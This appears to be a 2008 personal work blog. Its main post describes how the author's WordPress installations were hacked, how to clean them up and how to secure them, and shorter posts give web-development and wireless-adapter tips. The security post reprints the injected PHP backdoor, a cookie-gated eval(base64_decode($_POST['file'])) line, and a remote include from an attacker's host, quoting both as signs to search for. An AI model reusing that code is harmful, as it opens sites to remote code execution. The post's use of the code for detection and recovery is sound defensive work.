Skip to navigation | Skip to content

Steve Taylor's work blog

WordPress security

My server was recently subject to a hack attack. In some senses it was pretty serious—many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).

Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.

The hack

I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.

With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.

In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.

The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:

  • New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called taxonomy.php, there might be a new file called taxonomy_old.php or taxonomy_new.php. Other common new names included image-like extensions, e.g. crop.php.pngg or wlw_old.php.giff.
  • The main WP index.php changed to look like this:

    <?php if(md5($_COOKIE['_wp_debugger'])==
    "[long hash string here]"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
    /* Short and sweet */
    if (isset($_GET['license'])) {
    @include(’http://wordpress.net.in/license.txt’);
    } else {
    define(’WP_USE_THEMES’, true);
    require(’./wp-blog-header.php’);
    }
    ?>

  • That top line of PHP code was inserted into many other files.
  • A new user account could be found in the wp_user table, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in wp_usermeta, along with other entries that didn’t have a corresponding account in wp_user.
  • In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.

Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.

Cleaning up

  1. First, using phpMyAdmin, delete the “WordPress” entry from wp_user and its corresponding entries in wp_usermeta. Also delete all entries in wp_usermeta where the user_id value doesn’t correspond to a legitimate account in wp_user.
  2. SSH into your server and search for offending code. I found the following commands useful:

    grep –recursive “eval(base64_decode($_POST['file']));” *

    grep –recursive “http://wordpress.net.in/license.txt” *

    grep –recursive “find suid files” *

    These search all files (*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies.

  3. Remove all offending files, via FTP or SSH (see above link).

Securing WordPress

Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).

Then do the following:

  1. With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
  2. Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
  3. Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the user_login field.
  4. Change all WP user account passwords.
  5. Heck, change any other passwords too (like FTP).
  6. Change the default wp_ prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:
    1. Change value of the $table_prefix variable in wp-config.php. I use a string of 5 or so characters from the password page.
    2. In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other wp_-prefixed tables, e.g. tables created by various plugins.)

      RENAME TABLE wp_comments TO [your prefix here]_comments;
      RENAME TABLE wp_links TO [your prefix here]_links;
      RENAME TABLE wp_options TO [your prefix here]_options;
      RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
      RENAME TABLE wp_posts TO [your prefix here]_posts;
      RENAME TABLE wp_terms TO [your prefix here]_terms;
      RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
      RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
      RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
      RENAME TABLE wp_users TO [your prefix here]_users;

      Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. wp_posts. You’ll need to change any instances of the same habit in your code using $wpdb->prefix. For instance, this:

      $sql = “SELECT ID, post_title FROM wp_posts WHERE post_status = ‘publish’”;

      Should become:

      $sql = “SELECT ID, post_title FROM “.$wpdb->prefix.”posts WHERE post_status = ‘publish’”;

      Most plugins use this to remain portable, but you might want to search your plugins for hard-coded wp_’s too.

    3. In the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_.
    4. Likewise for all meta_key values in the usermeta table that start with wp_.
  7. Finally, re-do the grep SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.

My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.

Here’s some more resources on WordPress that I’m still absorbing:

WordPress 2.5

I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5’s new file:

// Change SECRET_KEY to a unique phrase. You won’t have to remember it later,
// so make it long and complicated. You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define(’SECRET_KEY’, ‘put your unique phrase here’); // Change this to a unique phrase.

Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.

One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:

define(’DB_CHARSET’, ‘utf8′);

Comment it out like this:

//define(’DB_CHARSET’, ‘utf8′);

Good luck!

CSS debugging in Internet Explorer

I develop XHTML/CSS primarily in Firefox, followed by testing in tweaks in other browsers. Apart from Firefox being my primary browser anyway, most of the reason for this is that there are some tools for it that have become as essential to me as my text editor (these days, that’s TopStyle). This handy trio are:

  • Firebug - simply incredible
  • Web Developer Toolbar - still very valuable, with some great little features
  • ColorZilla - a good colour picker, plus some things that the others do, but slightly quicker to access

This is all great. However, more often than not, the times when you really need this sort of stuff is in Internet Explorer - especially pre-7 versions.

I’ve not had much luck in IE 6 with the Firebug Lite implementation. I have just come across a good bookmarklet called XRAY. Compared to the Swiss Army Knives above, it’s very basic, but it provides key information about page elements that can really speed debugging along.

Networking problems with the Belkin Wireless G USB adapter

Having just moved to London, into a flat with a wireless net connection, I needed to get my trusty desktop PC wireless-enabled.

My laptop, with it’s built-in wireless adapter, worked straight away. As the router here is a Belkin Wireless G, I thought I’d go for an adapter for my desktop from Belkin, too. I got an external USB one to match the “G” networking speed of the router.

The instructions for installing the adapter stress - repeatedly - that you should install the supplied software before plugging the adapter in. There’s even a sticker sealing the adapter’s little plastic bag exclaiming, “STOP: Run the installation CD-ROM FIRST” - which I dutifully did.

The adapter didn’t work. It occasionally recognised the network we’ve got here, but always failed to connect to it. I went through endless uninstalls and re-installs, eventually leading me to the inevitably frustrating experience of phoning technical support. After being told that my issue had been “escalated”, I was assured that engineers would call me back.

The next day, having received no call, I called again to see what was happening. They had no record of the previous day’s call at all, so I had to go through the whole thing again. At the end of this the support guy simply said I needed to take my adapter back and get another model.

Naturally I was a little dubious when the guys in the shop on Tottenham Court Road tried to sell me the one that’s twice as expensive - but it made some sense to get a “better” model (the slightly faster G+, though the extra bandwidth capacity is presumably redundant with a G router).

Coming to install it, I thought back to my experience with Belkin tech support, where both guys I spoke to immediately got me to restart the Windows XP “Wireless Zero Configuration” service. I believe this is Windows’ built-in wireless networking manager, which Belkin’s “wireless utility” software promptly shuts down, taking over the OS’s handling of wireless connectivity. Why would they do that unless they thought it’s possible the Belkin utility might itself be getting in the way?

OK, I thought, there’s an obvious thing to try here. Just plug the adapter in and let Windows handle it all. Lo and behold! Windows immediately recognised the hardware, roped in its own XP drivers, and immediately connected to the local network.

I guess maybe the first one I got was just a dud, or wasn’t powerful enough (even though there’s only 10 feet and one wall between my adapter and the router). My bet’s that the vital and important-sounding warnings on the adapter’s packaging and installation instructions about running their CD first is just standard corporate shite, eager to get their own crummy little app running the show, even if their own tech support people know that it’s often the cause of many “issues” found with their hardware.

Anyone buying or having problems with the Belkin Wireless G USB adapter: try ignoring Belkin’s sage advice and letting Windows deal with it.

Get rid of <br /> tags inserted by WordPress

Even these days, WordPress will often mess with HTML code entered into posts or pages. The most persistent problem I’ve found has been its penchant for inserting <br /> tags inside forms.

No, I’ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply it to any form (or other containing element) where unwanted <br />s are being slipped in:

.nobr br {display: none;}

If you’re using <br /> tags yourself in that bit… well, you can always use a bit of a margin, eh?

Default WordPress visual editor to “off” for new users

Being a die-hard hand-coder, WYSIWYG editors irk me. It’s partly an irrational “Get your mits off my code!” thing, but it’s often very practical.

Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough to work around my HTML when they edit their copy.

WP’s visual editor, however, isn’t. It switches any <div> for a <p>, and otherwise messes stuff up. Maybe there’s a way to coax it into being less interfering. But for now I just need to get the visual editor out the way.

In theory that’s fine - each user just has to uncheck the visual editor box on their WordPress profile. It’s set to be checked by default when a new user is created. It already happened several times that a client has forgotten to do this, gone to edit a tiny bit of copy on the delicately coded home page, only for the editor to mess it all up.

Can’t I just set visual editing to be “off” by default?

Here’s how. In the file wp-admin/admin-functions.php, change line 522 from this:

$user->rich_editing = ‘true’;

To (unsurprisingly) this:

$user->rich_editing = ‘false’;

Archives